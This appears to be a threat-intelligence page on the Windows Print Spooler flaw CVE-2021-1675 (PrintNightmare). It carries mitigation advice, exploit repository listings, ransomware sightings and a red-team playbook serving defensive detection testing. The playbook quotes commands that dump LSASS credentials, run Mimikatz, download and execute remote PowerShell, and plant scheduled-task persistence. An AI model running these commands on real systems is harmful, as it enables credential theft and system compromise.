CVE-2021-1675

HIGH CISA KEV EXPLOIT POC TTE Zero-Day Pub 08/06 Upd 12/01

Overview

This vulnerability is a remote code execution flaw rooted in improper access control within the Windows Print Spooler service. The flaw arises from the Print Spooler's failure to correctly validate privileged operations, allowing unauthorized remote interactions with the spooler’s internal interfaces. Specifically, the vulnerability affects the Print Spooler component responsible for managing print jobs and printer drivers on affected Windows 10 versions.

Vulnerability Description

Windows Print Spooler Remote Code Execution Vulnerability

Impact

An attacker with network access to the Print Spooler service can execute arbitrary code remotely with SYSTEM privileges without requiring user interaction or authentication. This enables full system compromise, including installation of persistent malware, data exfiltration, and lateral movement within a network. The vulnerability can be exploited by a low-privileged attacker or an unauthenticated remote adversary, significantly increasing the risk of widespread compromise in enterprise environments.

Solution

Microsoft has released security updates addressing this vulnerability for Windows 10 versions 1507 through 2004, detailed in the Microsoft Security Advisory available at https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1675. Administrators should apply the latest cumulative updates for Windows 10 Version 1809 and other affected versions. As a temporary mitigation, disabling the Print Spooler service on systems where it is not required is recommended until patches are applied.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The Windows Print Spooler service, a critical component of the Windows operating system, has been identified as having a remote code execution vulnerability that allows attackers to execute arbitrary code on affected systems. This vulnerability arises from improper handling of requests, which can be exploited by sending specially crafted print requests to the Print Spooler service. The flaw can lead to a situation where an attacker gains the same privileges as the user running the Print Spooler service, potentially allowing them to install programs, view, change, or delete data, and create new accounts with full user rights.

Attack vectors for this vulnerability are particularly concerning due to the service's default configuration, which is often enabled on systems, including servers and client machines. Attackers can exploit this vulnerability over a network, making it possible to target systems remotely without requiring physical access. Scenarios may include an attacker sending malicious print jobs to the Print Spooler service on a vulnerable machine, which could lead to the execution of arbitrary code. Additionally, this vulnerability can be exploited in conjunction with other vulnerabilities or social engineering tactics, further increasing the risk of compromise.

The real-world impact of this vulnerability is significant, particularly for organizations relying on Windows environments for their operations. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and potential financial losses due to downtime or data breaches. The business risk is compounded by the fact that many organizations may not have adequate security measures in place to detect or prevent such attacks, making them prime targets for cybercriminals. Furthermore, the potential for lateral movement within a network increases the threat landscape, as attackers could leverage compromised machines to access other critical systems.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching affected systems is crucial, as software vendors often release security updates to address known vulnerabilities. Additionally, organizations should consider disabling the Print Spooler service on systems where it is not necessary, thereby reducing the attack surface. Employing network segmentation can also help contain potential breaches by limiting the ability of attackers to move laterally within the network. Monitoring for unusual print job activity and implementing intrusion detection systems can further enhance an organization’s ability to detect and respond to exploitation attempts.

In conclusion, the remote code execution vulnerability within the Windows Print Spooler service poses a serious threat to both individual users and organizations. Given the ease of exploitation and the potential for significant impact, it is imperative that organizations take proactive measures to secure their systems. By understanding the technical details, potential attack vectors, and implementing effective detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities in the future.




CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2021-1675, coinciding with the emergence of new proof-of-concept exploits publicly available on multiple platforms. This increased activity underscores the vulnerability’s continued attractiveness to threat actors, particularly ransomware groups such as Black Basta and Vice Society, which maintain high-confidence associations with campaigns leveraging this flaw. Although the EPSS score remains stable at a high level, the surge in telemetry signals a growing operationalization of the vulnerability in the wild. For defenders, this shift elevates the urgency to monitor for exploitation indicators closely, as adversaries are actively integrating these techniques into their toolkits. Consequently, the threat level associated with CVE-2021-1675 has intensified from a theoretical risk to a more imminent and tangible danger, reflecting its sustained exploitation viability and ransomware linkage.



Update 2 — May 16, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2021-1675, accompanied by the emergence of additional ransomware groups leveraging this vulnerability. Our telemetry indicates that adversaries are increasingly incorporating new proof-of-concept exploits into their operational toolkits, broadening the exploit landscape beyond previously known implementations. This expansion reflects a shift from opportunistic scanning to more deliberate and sustained exploitation campaigns, particularly by ransomware actors such as Blackbasta and Vice Society, whose involvement has grown. The increased diversity of threat actors and exploitation methods elevates the complexity and persistence of attacks, underscoring a heightened risk to affected Windows 10 Version 1809 environments. Consequently, the threat level associated with CVE-2021-1675 has intensified, moving from a high-severity concern to a more imminent and active threat that demands vigilant monitoring and response.

Affected Products (17)

Vendor Product Version CPE
microsoft Microsoft Windows 10 1507 All cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:*:*
microsoft Microsoft Windows 10 1607 All cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:*:*
microsoft Microsoft Windows 10 1809 All cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:*
microsoft Microsoft Windows 10 1909 All cpe:2.3:o:microsoft:windows_10_1909:*:*:*:*:*:*:*:*
microsoft Microsoft Windows 10 2004 All cpe:2.3:o:microsoft:windows_10_2004:*:*:*:*:*:*:*:*
microsoft Microsoft Windows 10 20h2 All cpe:2.3:o:microsoft:windows_10_20h2:*:*:*:*:*:*:*:*
microsoft Microsoft Windows 10 21h1 All cpe:2.3:o:microsoft:windows_10_21h1:*:*:*:*:*:*:*:*
microsoft Microsoft Windows 7 N/A cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:*:*
microsoft Microsoft Windows 8.1 N/A cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:*:*
microsoft Microsoft Windows Rt 8.1 N/A cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*
microsoft Microsoft Windows Server 2004 All cpe:2.3:o:microsoft:windows_server_2004:*:*:*:*:*:*:*:*
microsoft Microsoft Windows Server 2008 N/A cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:*:*
microsoft Microsoft Windows Server 2008 r2 cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*
microsoft Microsoft Windows Server 2012 N/A cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*
microsoft Microsoft Windows Server 2012 r2 cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*
microsoft Microsoft Windows Server 2016 All cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*
microsoft Microsoft Windows Server 2019 All cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Print Spooler Remote DLL Injection
exploits/windows/dcerpc/cve_2021_1675_printnightmare
Zhiniang Peng, Xuefeng Li, Zhipeng Huo +5 Unknown - View

GitHub PoCs (48)

Repository Author Stars Forks Date Link
cube0x0/CVE-2021-1675
C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527
cube0x0 1993 577 2021-06-29 View
calebstewart/CVE-2021-1675
Pure PowerShell implementation of CVE-2021-1675 Print Spooler Local Privilege Escalation (PrintNightmare)
calebstewart 1099 225 2021-07-01 View
hlldz/CVE-2021-1675-LPE
Local Privilege Escalation Edition for CVE-2021-1675/CVE-2021-34527
hlldz 325 76 2021-07-01 View
LaresLLC/CVE-2021-1675
CVE-2021-1675 Detection Info
LaresLLC 214 38 2021-06-30 View
ly4k/PrintNightmare
Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
ly4k 210 32 2021-09-26 View
mstxq17/CVE-2021-1675_RDL_LPE
PrintNightMare LPE提权漏洞的CS 反射加载插件。开箱即用、通过内存加载、混淆加载的驱动名称来ByPass Defender/EDR。
mstxq17 145 20 2021-09-01 View
sailay1996/PrintNightmare-LPE
CVE-2021-1675 (PrintNightmare)
sailay1996 77 27 2021-07-05 View
evilashz/CVE-2021-1675-LPE-EXP
PrintNightmare , Local Privilege Escalation of CVE-2021-1675 or CVE-2021-34527
evilashz 56 18 2021-07-01 View
cybersecurityworks553/CVE-2021-1675_PrintNightMare
cybersecurityworks553 23 14 2021-07-01 View
JumpsecLabs/PrintNightmare
Information on the Windows Spooler vulnerability - CVE-2021-1675; CVE 2021 34527
JumpsecLabs 19 8 2021-07-07 View
eversinc33/NimNightmare
CVE-2021-1675 LPE PoC in Nim (PrintNightmare Local Privilege Escalation)
eversinc33 18 5 2021-12-05 View
Wra7h/SharpPN
C# PrintNightmare (CVE-2021-1675)
Wra7h 9 9 2021-09-26 View
k8gege/cve-2021-1675
k8gege 15 3 2021-07-11 View
corelight/CVE-2021-1675
corelight 9 4 2021-07-02 View
Leonidus0x10/CVE-2021-1675-SCANNER
Vulnerability Scanner for CVE-2021-1675/PrintNightmare
Leonidus0x10 9 3 2021-07-02 View
exploitblizzard/PrintNightmare-CVE-2021-1675
Youtube : https://youtu.be/Zr0KjYDSFKQ
exploitblizzard 5 2 2021-07-04 View
hahaleyile/my-CVE-2021-1675
see https://github.com/cube0x0/CVE-2021-1675
hahaleyile 3 3 2021-07-22 View
puckiestyle/CVE-2021-1675
puckiestyle 1 5 2021-07-01 View
thomasgeens/CVE-2021-1675
thomasgeens 3 2 2021-07-02 View
kondah/patch-cve-2021-1675
kondah 2 2 2021-06-30 View
OppressionBreedsResistance/CVE-2021-1675-PrintNightmare
Working PowerShell POC
OppressionBreedsResistance 1 3 2021-10-05 View
yu2u/CVE-2021-1675
CVE-2021-1675 exploit
yu2u 2 1 2021-06-29 View
killtr0/CVE-2021-1675-PrintNightmare
killtr0 2 1 2021-07-02 View
ozergoker/PrintNightmare
Windows Print Spooler Service RCE CVE-2021-1675 (PrintNightmare)
ozergoker 2 1 2021-07-03 View
bartimusprimed/CVE-2021-1675-Yara
bartimusprimed 2 1 2021-07-08 View
tanarchytan/CVE-2021-1675
Fix without disabling Print Spooler
tanarchytan 0 3 2021-07-01 View
Winter3un/CVE-2021-1675
Winter3un 1 1 2021-07-20 View
zha0/Microsoft-CVE-2021-1675
zha0 0 2 2021-07-18 View
edsonjt81/CVE-2021-1675
edsonjt81 0 1 2021-07-05 View
peckre/PNCVE-Win10-20H2-Exploit
A one-click script to gain a System privileges command line in Windows 10 20H2 that exploits CVE-2021-1675
peckre 1 0 2024-01-17 View
whoami-chmod777/CVE-2021-1675-CVE-2021-34527
whoami-chmod777 1 0 2024-02-12 View
DLL00P/CVE-2021-1675
DLL00P 1 0 2025-07-29 View
kougyokugentou/CVE-2021-1675
A small powershell script to disable print spooler service using desired state configuration
kougyokugentou 0 1 2021-07-02 View
ptter23/CVE-2021-1675
CVE-2021-1675: ZERO-DAY VULNERABILITY IN WINDOWS PRINTER SERVICE WITH AN EXPLOIT AVAILABLE IN ALL OPERATING SYSTEM VERSI...
ptter23 0 1 2021-07-02 View
mrezqi/CVE-2021-1675_CarbonBlack_HuntingQuery
mrezqi 0 1 2021-07-02 View
ccordeiro/CVE-2021-1675
C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527
ccordeiro 0 1 2025-11-19 View
initconf/cve-2021-1675-printnightmare
to catch cve-2021-1675-printnightmare
initconf 0 1 2021-07-03 View
thalpius/microsoft-cve-2021-1675
thalpius 0 0 2021-07-16 View
VoiidByte/Impacket
C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527
VoiidByte 0 0 2025-08-24 View
thalpius/Microsoft-CVE-2021-1675
thalpius 0 0 2021-07-16 View
galoget/PrintNightmare-CVE-2021-1675-CVE-2021-34527
CVE-2021-1675 / CVE-2021-34527 - PrintNightmare Python, C# and PowerShell Exploits Implementations (LPE & RCE)
galoget 0 0 2021-07-12 View
r1skkam/PrintNightmare
Learn about the vulnerability known as PrintNightmare (CVE-2021-1675) and (CVE-2021-34527)
r1skkam 0 0 2022-12-28 View
000Tonio/cve-2021-1675
000Tonio 0 0 2023-10-19 View
Sp4ceDogy/NPE-CS-V-CVE-2021-1675
Sp4ceDogy 0 0 2025-03-10 View
CameraShutterBug/PrintNightmare
C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527
CameraShutterBug 0 0 2025-07-24 View
GlacierGossip/PrintNightmare
C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527
GlacierGossip 0 0 2025-08-05 View
whoami-chmod777/CVE-2021-1675---PrintNightmare-LPE-PowerShell-
whoami-chmod777 0 0 2024-02-12 View
0xSs0rZ/Windows_Exploit
CVE-2021-1675/CVE-2021-34527 PrintNightmare & CVE-2020-0668
0xSs0rZ 0 0 2024-06-05 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Ransomware Groups 2

blackbasta
CONFIRMED
523 victims
ransomware.live
2026-06-25
Vice Society
CORRELATED
correlation_misp
2026-04-05

Threat Feed

25 events
2026-07-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-25
Exploited by blackbasta

Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-31
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-15
Exploited by nokoyawa

Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Cobalt Strike, FileZilla, PsExec (36 known victims)

2026-05-15
Exploited by underground

Ransomware group known to exploit this vulnerability (26 known victims)

2026-04-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by Vice Society

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-04-05
Exploited by bianlian

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)

2026-04-05
Exploited by blackbasta

Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)

2026-04-05
Exploited by BrainCipher

Ransomware group known to exploit this vulnerability (62 known victims)

2026-04-05
Exploited by FIN12

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by bian lian

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Vice Society

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Dragonfly

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by MuddyWater

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Magic Hound

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by FIN7

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Iranian IRGC Data Extortion Operations

Ransomware group known to exploit this vulnerability

2021-11-03
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2021-06-29
PoC Published (48 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2021-06-08
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
98% rce
Code Injection
78% code_injection
OS Command Injection
75% command_injection
Buffer Overflow
68% buffer_overflow
Use After Free
67% use_after_free

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.005 Scheduled Task Kill Chain execution, persistence, privilege-escalation Windows
T1059.001 PowerShell Kill Chain execution Windows
T1003.001 LSASS Memory Kill Chain credential-access Windows
T1087.002 Domain Account Kill Chain discovery Linux, macOS, Windows
T1021.002 SMB/Windows Admin Shares Kill Chain lateral-movement Windows

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

76 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1003.001 Create Mini Dump of LSASS.exe using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe Upon successful execution, you should see the following file created...
Command (CMD)
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
T1003.001 Dump LSASS with createdump.exe from .Net v5 Windows PowerShell Privileged
Use createdump executable from .NET to create an LSASS dump. [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command (PowerShell)
$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
T1003.001 Dump LSASS.exe Memory through Silent Process Exit Windows CMD Privileged
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism introduced in Windows 7 called Silent Process Exit, which provides the ability to...
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
T1003.001 Dump LSASS.exe Memory using NanoDump Windows CMD Privileged
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection. https://github.com/helpsystems/nanodump Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
T1003.001 Dump LSASS.exe Memory using Out-Minidump.ps1 Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created...
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
T1003.001 Dump LSASS.exe Memory using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is...
Command (CMD)
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
T1003.001 Dump LSASS.exe Memory using Windows Task Manager Windows Manual
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.
T1003.001 Dump LSASS.exe Memory using comsvcs.dll Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command (PowerShell)
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
T1003.001 Dump LSASS.exe Memory using direct system calls and API unhooking Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....
Command (CMD)
"#{dumpert_exe}"
T1003.001 Dump LSASS.exe using imported Microsoft DLLs Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that...
Command (PowerShell)
#{xordump_exe} -out #{output_file} -x 0x41
T1003.001 Dump LSASS.exe using lolbin rdrleakdiag.exe Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe. Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.
Command (PowerShell)
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
T1003.001 LSASS read with pypykatz Windows CMD Privileged
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa:: Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will display multiple usernames and passwords/hashes...
Command (CMD)
"#{venv_path}\Scripts\pypykatz" live lsa 
T1003.001 Offline Credential Theft With Mimikatz Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Command (CMD)
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
T1003.001 Powershell Mimikatz Windows PowerShell Privileged
Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...
Command (PowerShell)
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
T1021.002 Copy and Execute File with PsExec Windows CMD Privileged
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).
Command (CMD)
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
T1021.002 Execute command writing output to local Admin Share Windows CMD Privileged
Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks.
Command (CMD)
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
T1021.002 Map Admin Share PowerShell Windows PowerShell
Map Admin share utilizing PowerShell
Command (PowerShell)
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
T1021.002 Map admin share Windows CMD
Connecting To Remote Shares
Command (CMD)
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
T1053.005 Import XML Schedule Task with Hidden Attribute Windows PowerShell Privileged
Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. This technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.
Command (PowerShell)
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1053.005 PowerShell Modify A Scheduled Task Windows PowerShell
Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. It will first be created to spawn cmd.exe, but modified...
Command (PowerShell)
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
T1053.005 Powershell Cmdlet Scheduled Task Windows PowerShell
Create an atomic scheduled task that leverages native powershell cmdlets. Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (PowerShell)
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
T1053.005 Scheduled Task ("Ghost Task") via Registry Key Manipulation Windows CMD Privileged
Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
T1053.005 Scheduled Task Executing Base64 Encoded Commands From Registry Windows CMD
A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created. The scheduled task will launch powershell to decode and run the command in the registry daily. This is a persistence mechanism recently seen in use by Qakbot. ...
Command (CMD)
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
T1053.005 Scheduled Task Persistence via CompMgmt.msc Windows CMD Privileged
Adds persistence by abusing `compmgmt.msc` via a scheduled task. When the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`). This technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.
Command (CMD)
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
T1053.005 Scheduled Task Persistence via Eventviewer.msc Windows CMD Privileged
Adds persistence by abusing `eventviewer.msc` via a scheduled task. When the eventviewer console is opened, it will run a malicious payload (in this case, `calc.exe`).
Command (CMD)
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
T1053.005 Scheduled Task Startup Script Windows CMD Privileged
Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane.
Command (CMD)
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
T1053.005 Scheduled task Local Windows CMD
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (CMD)
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
T1053.005 Scheduled task Remote Windows CMD Privileged
Create a task on a remote system. Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
Command (CMD)
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
T1053.005 Task Scheduler via VBA Windows PowerShell
This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within 30 - 40 seconds after this module has run
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
T1053.005 WMI Invoke-CimMethod Scheduled Task Windows PowerShell Privileged
Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.
Command (PowerShell)
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations Windows PowerShell
Executes powershell.exe with variations of the -Command parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
